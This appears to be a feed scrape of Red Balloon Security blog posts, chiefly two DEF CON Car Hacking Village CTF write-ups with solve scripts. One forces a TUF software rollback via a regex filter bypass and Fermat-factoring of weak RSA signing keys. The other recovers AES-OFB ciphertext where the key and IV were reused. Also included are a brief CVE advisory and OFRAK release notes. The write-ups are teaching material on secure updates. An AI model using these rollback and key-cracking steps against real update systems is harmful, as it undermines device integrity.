Blog Post – Red Balloon Security https://redballoonsecurity.com/ Defend From Within Tue, 20 Aug 2024 02:03:13 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.1 https://redballoonsecurity.com/wp-content/uploads/2021/11/RBS_logo_red-150x150.png Blog Post – Red Balloon Security https://redballoonsecurity.com/ 32 32 Hacking Secure Software Update Systems at the DEF CON 32 Car Hacking Village https://redballoonsecurity.com/dc32-car-hacking-ctf/ https://redballoonsecurity.com/dc32-car-hacking-ctf/#respond Sun, 18 Aug 2024 20:47:08 +0000 https://redballoonsecurity.com/?p=10068

Hacking Secure Software Update Systems at the DEF CON 32 Car Hacking Village

Red Balloon Security recently returned from the DEF CON hacking conference in Las Vegas, where, among other activities, we brought two computer security challenges to the Car Hacking Village (CHV) Capture The Flag (CTF) competition. The grand prize for the competition was a 2021 Tesla, and second place was several thousand dollars of NXP development kits, so we wanted to make sure our challenge problems were appropriately difficult. This competition was also a “black badge CTF” at DEF CON, which means the winners are granted free entrance to DEF CON for life.

The goal of our challenges was to force competitors to learn about secure software updates and The Update Framework (TUF), which is commonly used for securing software updates. We originally wanted to build challenge problems around defeating Uptane, an automotive-specific variant of TUF, however, there is no well-supported, public version of Uptane that we could get working, so we built the challenges around Uptane’s more general ancestor TUF instead. Unlike Uptane, TUF is well-supported with several up-to-date, maintained, open source implementations.

Our two CTF challenges were designed to be solved in order – the first challenge had to be completed to begin the second. Both involved circumventing the guarantees of TUF to perform a software rollback.

Besides forcing competitors to learn the ins and outs of TUF, the challenges were designed to impress upon them that software update frameworks like TUF are only secure if they are used properly, and if they are used with secure cryptographic keys. If either of these assumptions is violated, the security of software updates can be compromised.

Both challenges ran on a Rivain Telematics Control Module (TCM) at DEF CON.

Challenge 1: Secure Updates are TUF

Challenge participants were given the following information:

  • Category: exploitation, reverse engineering

  • Description: I set up secure software updates using TUF. That way nobody can do a software rollback! Right? To connect, join the network and run:
    nc 172.28.2.64 8002
  • Intended Difficulty: easy

  • Solve Criteria: found flag

  • Tools Required: none

In addition to the description above, participants were given a tarball with the source of the software update script using the python-tuf library, and the TUF repository with the signed metadata and update files served over HTTP to the challenge server, which acts as a TUF client.

The run.sh script to start up the TUF server and challenge server:

				
					#!/bin/sh

set -euxm

# tuf and cryptography dependencies installed in virtual environment
source ~/venv/bin/activate

(python3 -m http.server --bind 0 --directory repository/ 38001 2>&1) | tee /tmp/web_server.log &

while sleep 3; do 
  python3 challenge_server.py --tuf-server http://localhost:38001 --server-port 38002 || fg
done

				
			

The main challenge_server.py:

				
					#!/usr/bin/env -S python3 -u
"""
Adapted from:
https://github.com/theupdateframework/python-tuf/tree/f8deca31ccea22c30060f259cb7ef2588b9c6baa/examples/client
"""


import argparse
import inspect
import json
import os
import re
import socketserver
import sys
from urllib import request

from tuf.ngclient import Updater


def parse_args():
    parser = argparse.ArgumentParser()
    for parameter in inspect.signature(main).parameters.values():
        if parameter.name.startswith("_"):
            continue
        if "KEYWORD" in parameter.kind.name:
            parser.add_argument(
                "--" + parameter.name.replace("_", "-"),
                default=parameter.default,
            )
    return parser.parse_args()


def semver(s):
    return tuple(s.lstrip("v").split("."))


def name_matches(name, f):
    return re.match(name, f)


def readline():
    result = []
    c = sys.stdin.read(1)
    while c != "\n":
        result.append(c)
        c = sys.stdin.read(1)
    result.append(c)
    return "".join(result)


class Handler(socketserver.BaseRequestHandler):
    def __init__(self, *args, tuf_server=None, updater=None, **kwargs):
        self.tuf_server = tuf_server
        self.updater = updater
        super().__init__(*args, **kwargs)

    def handle(self):
        self.request.settimeout(10)
        os.dup2(self.request.fileno(), sys.stdin.fileno())
        os.dup2(self.request.fileno(), sys.stdout.fileno())

        print("Welcome to the firmware update admin console!")
        print("What type of firmware would you like to download from the TUF server?")
        print(
            "Whichever type you pick, we will pull the latest version from the server."
        )
        print("Types:")
        with request.urlopen(f"{self.tuf_server}/targets.json") as response:
            targets = json.load(response)
        all_target_files = list(targets["signed"]["targets"].keys())
        print("-", "\n- ".join({file.split("_")[0] for file in all_target_files}))

        print("Enter type name: ")
        name = readline().strip()
        if "." in name:
            # People were trying to bypass our version check with regex tricks! Not allowed!
            print("Not allowed!")
            return
        filenames = list(
            sorted(
                [f for f in all_target_files if name_matches(name, f)],
                key=lambda s: semver(s),
            )
        )
        if len(filenames) == 0:
            print("Sorry, file not found!")
            return
        filename = filenames[-1]

        print(f"Downloading {filename}")

        info = self.updater.get_targetinfo(filename)
        if info is None:
            print("Sorry, file not found!")
            return

        with open("/dev/urandom", "rb") as f:
            name = f.read(8).hex()
        path = self.updater.download_target(
            info,
            filepath=f"/tmp/{name}.{os.path.basename(info.path)}",
        )
        os.chmod(path, 0o755)

        print(f"Running {filename}")
        child = os.fork()
        if child == 0:
            os.execl(path, path)
        else:
            os.wait()
            os.remove(path)


def main(tuf_server="http://localhost:8001", server_port="8002", **_):
    repo_metadata_dir = "/tmp/tuf_server_metadata"
    if not os.path.isdir(repo_metadata_dir):
        if os.path.exists(repo_metadata_dir):
            raise RuntimeError(
                f"{repo_metadata_dir} already exists and is not a directory"
            )
        os.mkdir(repo_metadata_dir)
        with request.urlopen(f"{tuf_server}/root.json") as response:
            root = json.load(response)
        with open(f"{repo_metadata_dir}/root.json", "w") as f:
            json.dump(root, f, indent=2)

    updater = Updater(
        metadata_dir=repo_metadata_dir,
        metadata_base_url=tuf_server + "/metadata/",
        target_base_url=tuf_server + "/targets/",
    )
    updater.refresh()

    def return_handler(*args, **kwargs):
        return Handler(*args, **kwargs, tuf_server=tuf_server, updater=updater)

    print("Running server")
    with socketserver.ForkingTCPServer(
        ("0", int(server_port)), return_handler
    ) as server:
        server.serve_forever()


if __name__ == "__main__":
    main(**parse_args().__dict__)

				
			

Also included were TUF-tracked files tcmupdate_v0.{2,3,4}.0.py.

The challenge server waits for TCP connections. When one is made, it prompts for a software file to download. Then it checks the TUF server for all versions of that file (using the user input in a regular expression match), and picks the latest based on parsing its version string (for example filename_v0.3.0.py parses to (0, 3, 0) ). Once it has found the latest file, it downloads it using the TUF client functionality from the TUF library.

The goal of this challenge is to roll back from version 0.4.0 to version 0.3.0. The key to solving this challenge is to notice the following code:

				
					# ...

def semver(s):
    return tuple(s.lstrip("v").split("."))

def name_matches(name, f):
    return re.match(name, f)

def handle_tcp():
    # ...

    name = readline().strip()
    if "." in name:
        # People were trying to bypass our version check with regex tricks! Not allowed!
        print("Not allowed!")
        return

    filenames = list(
        sorted(
            [f for f in all_target_files if name_matches(name, f)],
            key=lambda s: semver(s),
        )
    )
    if len(filenames) == 0:
        print("Sorry, file not found!")
        return
    filename = filenames[-1]

    # ...

				
			

This code firsts filters using the regular expression, then sorts based on the version string to find the latest matching file. Notably, the name input is used directly as a regular expression.

To circumvent the logic for only downloading the latest version of a file, we can pass an input regular expression that filters out everything except for the version we want to run. Our first instinct might be to use a regular expression like the following:

tcmupdate.*0\.3\.0.*

If we try that, however, we hit the case where any input including a . character is blocked. We now need to rewrite the regular expression to match only tcmupdate_v0.3.0, but without including the . character. One of many possible solutions is:

tcmupdate_v0[^a]3[^a]0

Since the . literal is a character that is not a, the [^a] expression will match it successfully without including it directly. This input gives us the flag.

flag{It_T4ke$-More-Than_just_TUF_for_secure_updates!}

Challenge 2: One Key to Root Them All

Challenge participants were given the following information:

  • Name: One Key to Root Them All

  • Submitter: Jacob Strieb @ Red Balloon Security

  • Category: crypto, exploitation

  • Description: Even if you roll back to an old version, you’ll never be able to access the versions I have overwritten! TUF uses crypto, so it must be super secure. You will need to have solved the previous challenge to progress to this one. To connect, join the network and run:
    nc 172.28.2.64 8002
  • Intended Difficulty: shmedium to hard

  • Solve Criteria: found flag

  • Tools Required: none

Challenge 2 can only be attempted once challenge 1 has been completed. When challenge 1 is completed, it runs tcmupdate_v0.3.0.py on the target TCM. This prompts the user for a new TUF server address to download files from, and a new filename to download and run. The caveat is that the metadata from the original TUF server is already trusted locally, so attempts to download from a TUF server with new keys will be rejected.

In the challenge files repository/targets subdirectory, there are two versions of tcmupdate_v0.2.0.py. One of them is tracked by TUF, the other is no longer tracked by TUF. The goal is to roll back to the old version of tcmupdate_v0.2.0.py that has been overwritten and is no longer a possible target to download with the TUF downloader.

The challenge files look like this:

				
					ctf/
├── challenge_server.py
├── flag_1.txt
├── flag_2.txt
├── repository
│   ├── 1.root.json
│   ├── 1.snapshot.json
│   ├── 1.targets.json
│   ├── 2.snapshot.json
│   ├── 2.targets.json
│   ├── metadata -> .
│   ├── root.json
│   ├── snapshot.json
│   ├── targets
│   │   ├── 870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py
│   │   ├── 9bbef34716da8edb86011be43aa1d6ca9f9ed519442c617d88a290c1ef8d11156804dcd3e3f26c81e4c14891e1230eb505831603b75e7c43e6071e2f07de6d1a.tcmupdate_v0.2.0.py
│   │   ├── 481997bcdcdf22586bc4512ccf78954066c4ede565b886d9a63c2c66e2873c84640689612b71c32188149b5d6495bcecbf7f0d726f5234e67e8834bb5b330872.tcmupdate_v0.3.0.py
│   │   └── bc7e3e0a6ec78a2e70e70f87fbecf8a2ee4b484ce2190535c045aea48099ba218e5a968fb11b43b9fcc51de5955565a06fd043a83069e6b8f9a66654afe6ea57.tcmupdate_v0.4.0.py
│   ├── targets.json
│   └── timestamp.json
├── requirements.txt
└── run.sh

				
			

The latest version of the TUF targets.json file is only tracking the 9bbef3... hash version of the tcmupdate_v0.2.0.py file.

				
					{
  "signed": {
    "_type": "targets",
    "spec_version": "1.0",
    "version": 2,
    "expires": "2024-10-16T21:11:07Z",
    "targets": {
      "tcmupdate_v0.2.0.py": {
        "length": 54,
        "hashes": {
          "sha512": "9bbef34716da8edb86011be43aa1d6ca9f9ed519442c617d88a290c1ef8d11156804dcd3e3f26c81e4c14891e1230eb505831603b75e7c43e6071e2f07de6d1a"
        }
      },
      "tcmupdate_v0.3.0.py": {
        "length": 1791,
        "hashes": {
          "sha512": "481997bcdcdf22586bc4512ccf78954066c4ede565b886d9a63c2c66e2873c84640689612b71c32188149b5d6495bcecbf7f0d726f5234e67e8834bb5b330872"
        }
      },
      "tcmupdate_v0.4.0.py": {
        "length": 125,
        "hashes": {
          "sha512": "bc7e3e0a6ec78a2e70e70f87fbecf8a2ee4b484ce2190535c045aea48099ba218e5a968fb11b43b9fcc51de5955565a06fd043a83069e6b8f9a66654afe6ea57"
        }
      }
    }
  },
  "signatures": [
    {
      "keyid": "f1f66ca394996ea67ac7855f484d9871c8fd74e687ebab826dbaedf3b9296d14",
      "sig": "1bc2be449622a4c2b06a3c6ebe863fad8d868daf78c1e2c2922a2fe679a529a7db9a0888cd98821a66399fd36a4d5803d34c49d61b21832ff28895931539c1cca118b299c995bcd1f7b638803da481cf253e88f4e80d62e7abcc39cc92899cc540be901033793fae9253f41008bc05f70d93ef569c0d6c09644cd7dfb758c2b71e2332de7286d15cc894a51b6a6363dcde5624c68506ea54a426f7ae9055f01760c6d53f4f4f68589d89f31a01e08d45880bc28a279f8621d97ab7223c4d41ecb077176af5dd27d5c07379d99898020b23cd733e"
    }
  ]
}

				
			

Thus, in order to convince the TUF client to download the old version of tcmupdate_v0.2.0.py from a TUF file server we control, we will need to insert the correct hash into targets.json. But if we do that, we will need to resign targets.json, then rebuild and resign snapshot.json, then rebuild and resign timestamp.json. None of these things can be accomplished without the private signing key. This means that we need to crack the signing keys in order to rebuild updated TUF metadata. Luckily, inspecting the root.json file to learn about the keys indicates that the targets, snapshot, and timestamp roles all use the same RSA public-private keypair.

The key for this keypair is generated using weak RSA primes that are close to one another. This makes the key vulnerable to a Fermat factoring attack. The attack can either be performed manually using this technique, or can be performed automatically by a tool like RsaCtfTool.

After the key is cracked, we have to rebuild and resign all of the TUF metadata in sequence. This is most easily done using the go-tuf CLI from version v0.7.0 of the go-tuf library.

go install github.com/theupdateframework/go-tuf/cmd/[email protected]

This CLI expects the keys to be in JSON format and stored in the keys subdirectory (sibling directory of the repository directory). A quick Python script will convert our public and private keys in PEM format into the expected JSON.

				
					import base64
import json
import os
import sys
from nacl.secret import SecretBox
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt

if len(sys.argv) < 3:
    sys.exit(f"{sys.argv[0]} <privkey> <pubkey>")

with open(sys.argv[1], "r") as f:
    private = f.read()

with open(sys.argv[2], "r") as f:
    public = f.read()

plaintext = json.dumps(
    [
        {
            "keytype": "rsa",
            "scheme": "rsassa-pss-sha256",
            "keyid_hash_algorithms": ["sha256", "sha512"],
            "keyval": {
                "private": private,
                "public": public,
            },
        },
    ]
).encode()

with open("/dev/urandom", "rb") as f:
    salt = f.read(32)
    nonce = f.read(24)
n = 65536
r = 8
p = 1

kdf = Scrypt(
    length=32,
    salt=salt,
    n=n,
    r=r,
    p=p,
)
secret_key = kdf.derive(b"redballoon")

box = SecretBox(secret_key)
ciphertext = box.encrypt(plaintext, nonce).ciphertext

print(
    json.dumps(
        {
            "encrypted": True,
            "data": {
                "kdf": {
                    "name": "scrypt",
                    "params": {
                        "N": n,
                        "r": r,
                        "p": p,
                    },
                    "salt": base64.b64encode(salt).decode(),
                },
                "cipher": {
                    "name": "nacl/secretbox",
                    "nonce": base64.b64encode(nonce).decode(),
                },
                "ciphertext": base64.b64encode(ciphertext).decode(),
            },
        },
        indent=2,
    )
)

				
			

Once we have converted all of the keys to the right format, we can run a sequence of TUF CLI commands to rebuild the metadata correctly with the cracked keys.

				
					mkdir -p staged/targets
cp repository/targets/870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py staged/targets/tcmupdate_v0.2.0.py
tuf add tcmupdate_v0.2.0.py
tuf snapshot
tuf timestamp
tuf commit

				
			

Then we run our own TUF HTTP fileserver, and point the challenge server at it to get the flag.

flag{Th15_challenge-Left_me-WE4k_in-the_$$KEYS$$}

The final solve script might look something like this:

				
					#!/bin/bash

set -meuxo pipefail

tar -xvzf rbs-chv-ctf-2024.tar.gz
cd ctf

cat repository/root.json \
  | jq \
  | grep -i 'public key' \
  | sed 's/[^-]*\(-*BEGIN PUBLIC KEY-*.*-*END PUBLIC KEY-*\).*/\1/g' \
  | sed 's/\\n/\n/g' \
  > public.pem

python3 ~/Downloads/RsaCtfTool/RsaCtfTool.py --publickey public.pem --private --output private.pem

mkdir -p keys
python3 encode_key_json.py private.pem public.pem > keys/snapshot.json
cp keys/snapshot.json keys/targets.json
cp keys/snapshot.json keys/timestamp.json

mkdir -p staged/targets
cp repository/targets/870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py staged/targets/tcmupdate_v0.2.0.py
tuf add tcmupdate_v0.2.0.py
tuf snapshot
tuf timestamp
tuf commit

python3 -m http.server --bind 0 --directory repository/ 8003 &
sleep 3
(
  echo 'tcmupdate_v0[^a]3'
  sleep 3
  echo 'http://172.28.2.169:8003'
  echo 'tcmupdate_v0.2.0.py'
) | nc 172.28.2.64 38002

kill %1

				
			

Conclusion

In addition to the CTF we brought to the DEF CON Car Hacking Village, we also set up a demonstration of our Symbiote host-based defense technology running on Rivian TCMs. These CTF challenges connect to that demo because the firmware rollbacks caused by exploiting the vulnerable CTF challenge application would (in a TCM protected by Symbiote) trigger alerts, and/or be blocked, depending on the customer’s desired configuration.

To reiterate, we hope that CTF participants enjoyed our challenges, and took away a few lessons:

  • Even if TUF is used correctly, logic bugs outside of TUF can be exploited to violate its guarantees

  • Even correct, reference implementations of TUF are vulnerable if the cryptographic keys used are weak

  • Secure software updates are tricky

  • There is no silver bullet in security; complementing secure software updates with on-device runtime attestation like Symbiote creates a layered, defense in depth strategy to ensure that attacks are thwarted
]]>
https://redballoonsecurity.com/dc32-car-hacking-ctf/feed/ 0 10068
Red Balloon Security Identifies Critical Vulnerability in Kratos NGC-IDU https://redballoonsecurity.com/red-balloon-security-identifies-a-critical-vulnerability-in-the-kratos-ngc-idu/ https://redballoonsecurity.com/red-balloon-security-identifies-a-critical-vulnerability-in-the-kratos-ngc-idu/#respond Mon, 04 Dec 2023 05:18:57 +0000 https://redballoonsecurity.com/?p=9733

Red Balloon Security Identifies Critical Vulnerability in Kratos NGC-IDU

CVE-2023-36670 Remotely Exploitable Command Injection Vulnerability.

Introduction

Red Balloon Security Researchers discover and patch vulnerabilities regularly. One such recent discovery is CVE-2023-36670, which affects the Kratos NGC-IDU 9.1.0.4 system. Let’s dive into the details of this security issue.

Vulnerability Details

  • CVE ID: CVE-2023-36670

     

  • Description: A remotely exploitable command injection vulnerability was found on the Kratos NGC-IDU 9.1.0.4.

     

  • Impact: An attacker can execute arbitrary Linux commands as root by sending crafted TCP requests to the device.

Kratos NGC-IDU 9.1.0.4

The Kratos NGC-IDU system is widely used in various industries, including telecommunications, defense, and critical infrastructure. It provides essential network management and monitoring capabilities. However, like any complex software, it is susceptible to security flaws.

Exploitation Scenario

  1. Crafted TCP Requests: An attacker sends specially crafted TCP requests to the vulnerable Kratos NGC-IDU device.

     

  2. Command Injection: Due to inadequate input validation, the attacker injects malicious commands into the system.

     

  3. Root Privileges: The injected commands execute with root privileges, granting the attacker full control over the device.

Mitigation

  • Patch: Organizations using Kratos NGC-IDU 9.1.0.4 should apply the latest security updates promptly.

     

  • Network Segmentation: Isolate critical devices from the public network to reduce exposure.

     

  • Access Controls: Implement strict access controls to limit who can communicate with the device.

     

  • Monitoring: Monitor network traffic for suspicious activity.

Conclusion

In modern infrastructure, devices such as the Kratos NGC-IDU are at the intersection of incredible value and escalating threat. Despite functionality that is often mission critical and performance that is highly visible, these devices can be insufficiently protected, making them an inviting target.  CVE-2023-36670 highlights the importance of timely patching and robust security practices. Organizations must stay vigilant, continuously assess their systems, and take proactive measures to protect against vulnerabilities.

At Red Balloon, we solve the device vulnerability gap by building security from the inside out, putting customers’ strongest line of defense at their most critical point. Red Balloon’s embedded security solutions enable customers to solve the device vulnerability gap where the greatest damage can happen and the least security exists.

For more information, refer to the official CVE-2023-36670 entry, or contact [email protected]

]]>
https://redballoonsecurity.com/red-balloon-security-identifies-a-critical-vulnerability-in-the-kratos-ngc-idu/feed/ 0 9733
Hacking In-Vehicle Infotainment Systems with OFRAK 3.2.0 at DEF CON 31 https://redballoonsecurity.com/ofrak-at-defcon31/ https://redballoonsecurity.com/ofrak-at-defcon31/#respond Mon, 28 Aug 2023 21:52:49 +0000 https://redballoonsecurity.com/?p=9144

Hacking In-Vehicle Infotainment Systems with OFRAK 3.2.0 at DEF CON 31

Two weeks ago, Red Balloon Security attended DEF CON 31 in Las Vegas, Nevada. In addition to sponsoring and partnering with the Car Hacking Village, where we showed off some of our latest creations, we contributed two challenges to the Car Hacking Village Capture the Flag (CTF) competition. This competition was a “black badge CTF” at DEF CON, which means the winners are granted free entrance to DEF CON for life.

Since it’s been a little while since DEF CON ended, we figured we’d share a write-up of how we would go about solving the challenges. Alternatively, here is a link to an OFRAK Project (new feature since OFRAK 3.2.0!) that includes an interactive walkthrough of the challenge solves.

Challenge 1: Inside Vehicle Infotainment (IVI)

Description: Find the flag inside the firmware, but don’t get tricked by the conn man, etc.

CTF participants start off with a mysterious, 800MB binary called ivi.bin. The description hints that the file is firmware of some sort, but doesn’t give much more info than that. IVI is an acronym for “In Vehicle Infotainment,” so we expect that the firmware will need to support a device with a graphical display and some sort of application runtime, but it is not yet clear that that info will be helpful.

To begin digging into the challenge, the first thing we do is to unpack the file with OFRAK. Then, we load the unpacked result in the GUI for further exploration.

				
					# Install OFRAK
python3 -m pip install ofrak ofrak_capstone ofrak_angr

# Unpack with OFRAK and open the unpacked firmware in the GUI
ofrak unpack --gui --backend angr ./ivi.bin

				
			

When the GUI opens, we see that the outermost layer that has been unpacked is a GZIP. By selecting the only child of the GZIP in the resource tree, and then running “Identify,” we can see that OFRAK has determined that the decompressed file is firmware in Intel Hex format.

Luckily, OFRAK has an Intel Hex unpacker built-in, so we can unpack this file to keep digging for the flag.

OFRAK unpacks the Ihex into an IhexProgram. At this point, we’re not sure if what we’re looking at is actually a program, or is a file that can unpack further. Looking at the metadata from OFRAK analysis in the bottom left pane of the GUI, we note that the file has only one, large segment. This suggests that it is not a program, but rather some other file packed up in IHEX format.

If we run “Identify” on the unpacked IhexProgram, OFRAK confirms that the “program” is actually GZIP compressed data.

To gather more information, we can make OFRAK run Binwalk analysis. This will happen automatically when clicking the “Analyze” button, or we can use the “Run Component” button to run the Binwalk analyzer manually.

Binwalk tends to have a lot of false positives, but in this case, it confirms that this resource is probably a GZIP. Since we know this, we can use the “Run Component” interface to run the GzipUnpacker and see what is inside.

Running “Identify” on the decompressed resource shows that there was a TAR archive inside. Since OFRAK can handle this easily, we click “Unpack” on the TAR. Inside of the archive, there are three files:

  • qemu.sh
  • bzImage
  • agl-ivi-demo-platform-html5-qemux86-64.ext4
 

The first file is a script to emulate the IVI system inside QEMU. The second file is the kernel for the IVI system. And the third file is the filesystem for the IVI.

Based on the bzImage kernel, the flags for QEMU in the script, and the EXT4 filesystem format, we can assume that the IVI firmware is Linux-based. Moreover, we can guess that AGL in the filename stands for “Automotive Grade Linux,” which is a big hint about what type of Linux applications we’ll encounter when we delve deeper.

Since the description talks about “conn man” and “etc,” we have a hint that it makes sense to look for the flag in the filesystem, instead of the kernel.

OFRAK has no problem with EXT filesystems, so we can select that resource and hit “Unpack” to explore this firmware further.

From here, there are two good paths to proceed. The easiest one is to use OFRAK’s new search feature to look for files containing the string flag{, which is the prefix for flags in this competition.

The second is to notice that in the hint, it mentions etc and connman, both of which are folders inside the AGL filesystem.

Navigating into the /etc/connman folder, we see a file called flag1.txt. Viewing this gives us the first flag!

flag{unp4ck_b33p_b00p_pack}

Challenge 2: Initialization Vector Infotainment (IVI)

Description: IVe heard there is a flag in the mechanic area, but you can’t decrypt it without a password… Right?

The hint provided with the challenge download makes it clear that this second challenge is in the same unpacked firmware as the first one. As such, the natural first step is to go looking for the “mechanic area” to find the flag.

One option is to use the qemu.sh script to try and emulate the IVI. Then it might become apparent what the description means by “mechanic area.” However, this is not necessary if you know that “apps” for Automotive Grade Linux are stored in /usr/wam_apps/<app name> in the filesystem.

Navigating directly to that directory, we can see that there is an app called html5-mecharea. One subdirectory of that folder is called chunks, and contains many files with the name flag.XXX.png. This is a pretty good hint that we’re on the right track.

The only problem is that if we try to view any of those PNG files, they appear corrupted.

Poking around the folder a bit more, we see two useful files: create.go, and app/src/App.svelte. It looks like create.go was used to break an image with the flag into chunks, and then encrypt them separately. App.svelte is responsible for taking a password from a user, and using that to try and decrypt the chunks into a viewable image.

create.go seems to be a Golang program to generate a (truly) random password string, use PBKDF2 to generate an AES key from the password, generate a truly random IV, break an image into 1024-byte chunks, encrypt each chunk with AES in OFB mode using the same key and IV, and then dump the encrypted chunks to disk.

Similarly, App.svelte does the inverse process: get a passphrase from a user, do PBKDF2 key derivation, load chunks of an image and try to decrypt them, then concatenate and display the decrypted result.

Looking at these two source files, it’s not apparent that the implementation of randomness or the crypto functions themselves are unsafe. Instead, the most eyebrow-raising aspect (as hinted by the challenge description and title) is the reuse of the same key and Initialization Vector for every chunk of plaintext.

In the OFB mode of AES, the key and IV are the inputs to the AES block cipher, and the output is chained into the next block. Then all of the blocks are used as the source of randomness for a one-time pad. Specifically, they are XORed with the plaintext to get the ciphertext. In other words, the same key and IV generate the same “randomness,” which is then XORed with each plaintext chunk to make a ciphertext chunk.

One fun feature of the XOR function is that any value is its own inverse under XOR. The XOR function is also commutative and associative. This means that the following is true if rand_1 == rand_2, which they will be because the same key and IV generate the same randomness:

cipher_1 XOR cipher_2 == (plain_1 XOR rand_1) XOR (plain_2 XOR rand_2) 
                      == (plain_1 XOR plain_2) XOR (rand_1 XOR rand_2) 
                      == (plain_1 XOR plain_2) XOR 0000000 ... 0000000
                      == plain_1 XOR plain_2

To reiterate: the resuse of the same key and IV tell us that the rand_N values will be the same for all of the ciphertexts. This tells us that the result of XORing any two ciphertexts together (when the same key and IV are used in OFB mode) is the two plaintexts XORed together.

Luckily, based on a closer inspection of the source, one of the chunks is saved unencrypted in the chunks folder. This is used in the code for determining if the passphrase is correct, and that the beginning of the image was successfully decrypted. But we can use it to XOR out the resulting parts of the plaintext. Therefore, we are able to do the following for every ciphertext chunk number N to eventually get back all of the plain text:

plain_1 XOR cipher_1 XOR cipher_N == plain_1 XOR (plain_1 XOR plain_N)
(by above reasoning) == (plain_1 XOR plain_1) XOR plain_N == 00000000 ... 00000000 XOR plain_N == plain_N

The last step is to write a little code to do this for us. A simple solution in Golang is included below, but should be straightforward to do in your favorite programming language.

				
					package main

import (
	"crypto/aes"
	"crypto/subtle"
	"os"
	"sort"
)

func main() {
	outfile, _ := os.Create("outfile.png")

	os.Chdir("chunks")
	chunkdir, _ := os.Open(".")
	filenames, _ := chunkdir.Readdirnames(0)
	sort.Strings(filenames)

	var lastEncrypted []byte = nil
	lastDecrypted, _ := os.ReadFile("flag.unencrypted.png")
	for _, filename := range filenames {
		if filename == "flag.unencrypted.png" {
			continue
		}

		data, _ := os.ReadFile(filename)
		encryptedData := data[aes.BlockSize:]
		xorData := make([]byte, len(encryptedData))

		if lastEncrypted != nil {
			outfile.Write(lastDecrypted)
			subtle.XORBytes(xorData, encryptedData, lastEncrypted)
			subtle.XORBytes(lastDecrypted, lastDecrypted, xorData)
		}

		lastEncrypted = encryptedData
	}

	outfile.Write(lastDecrypted)
	outfile.Close()
}

				
			

When we do this and concatenate all of the plaintexts in the right order, we get a valid PNG image that contains the flag.

flag{cr4sh_syst3ms_n0t_c4rs}

Brief Tour of OFRAK 3.2.0

In the meantime, we published OFRAK 3.2.0 to PyPI on August 10!

 

As always, a detailed list of changes can be viewed in the OFRAK Changelog.

 

We’ve had several new features and quality of life improvements since our last major release.

Projects

OFRAK 3.2.0 introduces OFRAK Projects. Projects are collections of OFRAK scripts and binaries that help users organize, save, and share their OFRAK work. Acessable from the main OFRAK start page, users can now create, continue or clone an OFRAK project with ease. With an OFRAK Project you can run scripts on startup, easily access them from the OFRAK Resource interface, and link them to their relavent binaries. Open our example project to get started and then share your projects with the world, we can’t wait to see what you make!

Search Bars

OFRAK 3.2.0 also introduces a long awaited feature, search bars. Two new search bars are available in the OFRAK Resource interface, one in the Resource Tree pane, and one in the Hex View pane. Each search bar allows the user to search for exact, case insensitive, or regular expression strings and bytes. The Resource Tree search bar will filter the tree for resources containing the search query while the Hex View search bar will scroll to and itereate on the instances of the query. The resource search functionality is also available in the python API using resource.search_data.

Additional Changes

  • Jefferson Filesystem (JFFS) packing/repacking support.
  • Intel Hex (ihex) packing/repacking support (useful for our Car Hacking Village DEFCON challenges).
  • EXT versions 2 – 4 packing/repacking support.

Learn More at OFRAK.COM

]]>
https://redballoonsecurity.com/ofrak-at-defcon31/feed/ 0 9144
Brief Tour of OFRAK 3.1.0 https://redballoonsecurity.com/ofrak-310/ https://redballoonsecurity.com/ofrak-310/#respond Mon, 19 Jun 2023 17:49:20 +0000 https://redballoonsecurity.com/?p=9088

Brief Tour of OFRAK 3.1.0

We published OFRAK 3.1.0 to PyPI on June 12, 2023!

As always, a detailed list of changes can be viewed in the OFRAK Changelog.

We’ve had several new features and quality of life improvements since our last major release.

Themes, Colors, and Settings

In OFRAK 3.1.0 we’ve added a new settings window. From here you can switch to “dark mode” or “light mode,” and customize any color in the OFRAK GUI. In addition to the customization features, we’ve added some more advanced settings described below.

Experimental OFRAK Features

OFRAK 3.1.0 now gives you access to new, experimental features. Selecting “Enable Experimental OFRAK Features” in the settings pane will enable new toolbar buttons. “So, what are experimental features?” you might ask. Experimental features are the latest and greatest OFRAK changes. But beware! They might be buggier than other parts of OFRAK, and are subject to change in later versions. We are including two new, experimental OFRAK features in this release: running any component in the GUI, and running pre-recorded scripts in the GUI.

Run Component

In the past, the OFRAK GUI only had a limited subset of the full suite of OFRAK Components available. Now, with the new Run Component feature, you have access to every OFRAK component on your system. When selecting which component to run, you can filter by type (Unpacker, Analyzer, Modifier, and Packer), and by target tags. Selecting a component will reveal the ComponentConfig so you can fill in the necessary parameters and start using the full power of OFRAK.

Run Script

In our last update, we gave you the ability to generate a script based on your actions. In OFRAK 3.1.0 you can now run those scripts directly in the GUI. Take your generated script, make modifications to it, or even totally rewrite it, then run the script, and see what effect it has on your binary live in the OFRAK GUI using this new, experimental feature.

Additional Features

Along with the major new features above, we have these new minor features in OFRAK 3.1.0.

  • ElfLoadAlignmentModifier finds free space in a binary between adjacent PT_LOAD segments.

  • Select an alternative backend server in the settings pane under “developer options” instead of modifying backendUrl in stores.js.

  • Copy your generated script directly to the clipboard with a new button option.

  • Navigate the OFRAK GUI resource tree with a USB Dance Dance Revolution pad.

Bug Fixes

The following bug fixes are also included in OFRAK 3.1.0.

  • Taking an action too soon after loading a large file no longer causes the OFRAK GUI to freeze.

  • importlib-metadata bumped to version 4.1.3.

  • libmagic and strings tagged as internal dependencies.

  • The minimap will no longer overlap the version number in the OFRAK GUI.

Learn More at OFRAK.COM

]]>
https://redballoonsecurity.com/ofrak-310/feed/ 0 9088
The Power of ChatGPT, in the Palm of My OFRAK https://redballoonsecurity.com/the-power-of-chatgpt-in-the-palm-of-my-ofrak/ https://redballoonsecurity.com/the-power-of-chatgpt-in-the-palm-of-my-ofrak/#respond Thu, 11 May 2023 20:25:21 +0000 https://redballoonsecurity.com/?p=9042

The Power of ChatGPT, in the Palm of My OFRAK

